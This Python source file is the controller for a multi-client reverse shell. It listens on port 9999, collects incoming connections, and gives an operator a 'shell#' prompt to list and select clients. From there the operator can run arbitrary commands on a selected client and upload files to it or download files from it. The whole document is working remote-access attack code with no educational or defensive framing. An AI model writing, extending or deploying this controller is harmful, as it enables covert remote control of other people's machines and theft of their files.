import socket
import socketserver
import sys
import threading
import time
import os
from queue import Queue

NOT = 2
Jobs = [1, 2]
queue = Queue()
Conns = []
Adrs = []


# creating the socket
def new_socket():
    try:
        global host
        global port
        global s
        host = ''
        port = 9999
        s = socket.socket()
    except socket.error as msg:
        print("Socket creation error: " + str(msg))


# Binding the socket to port
def socket_bind():
    try:
        global host
        global port
        global s
        print("Binding socket to port: " + str(port))
        s.bind((host, port))
        s.listen(5)  # allows server to accept connections
    except socket.error as msg:
        print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
        time.sleep(5)
        socket_bind()


# Accept and storing to list
def accepting_multiple():
    for con in Conns:
        con.close()
    del Conns[:]
    del Adrs[:]
    while True:
        try:
            connection, address = s.accept()
            connection.setblocking(1)  # it means no time out
            Conns.append(connection)
            Adrs.append(address)
            print("\nConnection has been established by : " + address[0])
        except:
            print("Error accepting connections")


def list_all_connections():
    result = ''
    for i, conn in enumerate(Conns):
        try:
            conn.send(str.encode(' '))
            conn.recv(20480)
            # print("a:", a)
        except:
            del Conns[i]
            del Adrs[i]
            continue
        result += str(i) + '   ' + str(Adrs[i][0]) + '   ' + str(Adrs[i][1]) + '\n'
    print('------- Clients -------' + '\n' + result)


def start_shell():
    while True:
        cmd = input('shell# ')
        if cmd == 'list':
            list_all_connections()
        elif 'select' in cmd:
            connection = get_connection(cmd)
            if connection is not None:
                send_commands(connection)
        else:
            print('Command not recognized')


def get_connection(cmd):
    try:
        connection_no = cmd.replace('select ', '')
        connection_no = int(connection_no)
        connection = Conns[connection_no]
        print("You are now connected to: " + Adrs[connection_no][0])
        print(str(Adrs[connection_no][0]) + '> ', end='')
        return connection
    except:
        print("Not a valid connection")
        return None


def upload(conn, cmd):
    conn.send(str.encode(cmd))
    grab, path = cmd.split(' ')
    if os.path.exists(path):
        f = open(path, 'rb')
        packet = f.read(1024)
        while packet:
            conn.send(packet)
            packet = f.read(1024)
        print("Transfer Complete")
        conn.send(str.encode('##'))
        f.close()
    else:
        print('Unable to find the file')


def download(conn, cmd):
    conn.send(str.encode(cmd))
    grab, path = cmd.split(' ')
    file_name = path.split('/')
    new_path = 'C:/Users/Anush/Desktop/Files/' + file_name[-1]
    f = open(new_path, 'wb')
    while True:
        Bytess = conn.recv(1024)
        # print('reading bytes')
        print(Bytess)
        if '##' in Bytess[:].decode("utf-8"):
            var = Bytess[:].decode("utf-8")
            var = var.replace('##', '')
            Bytess = str.encode(var)
            f.write(Bytess)
            print("Transfer Complete")
            break
        f.write(Bytess)
        # print('bytes written')
    f.close()
    print('exit', end='')


def send_commands(conn):
    while True:
        try:
            cmd = input()
            if len(str.encode(cmd)) > 0 and cmd != "quit":
                if 'download' in cmd:
                    download(conn, cmd)
                elif 'upload' in cmd:
                    upload(conn, cmd)
                else:
                    conn.send(str.encode(cmd))
                    response = str(conn.recv(20480), 'utf-8')
                    print(response, end='')
            if cmd == 'quit':
                break
        except:
            print("Connection was lost")
            break


def create_threads():
    for _ in range(NOT):
        t = threading.Thread(target=work)  # the thread will do the work specified by the 'work' function
        t.daemon = True  # it means that this thread will die whenever our main program dies
        t.start()


def jobs_create():
    for x in Jobs:
        queue.put(x)
    queue.join()


def work():
    x = queue.get()
    if x == 1:
        new_socket()
        socket_bind()
        accepting_multiple()
    if x == 2:
        start_shell()
    queue.task_done()


create_threads()
jobs_create()
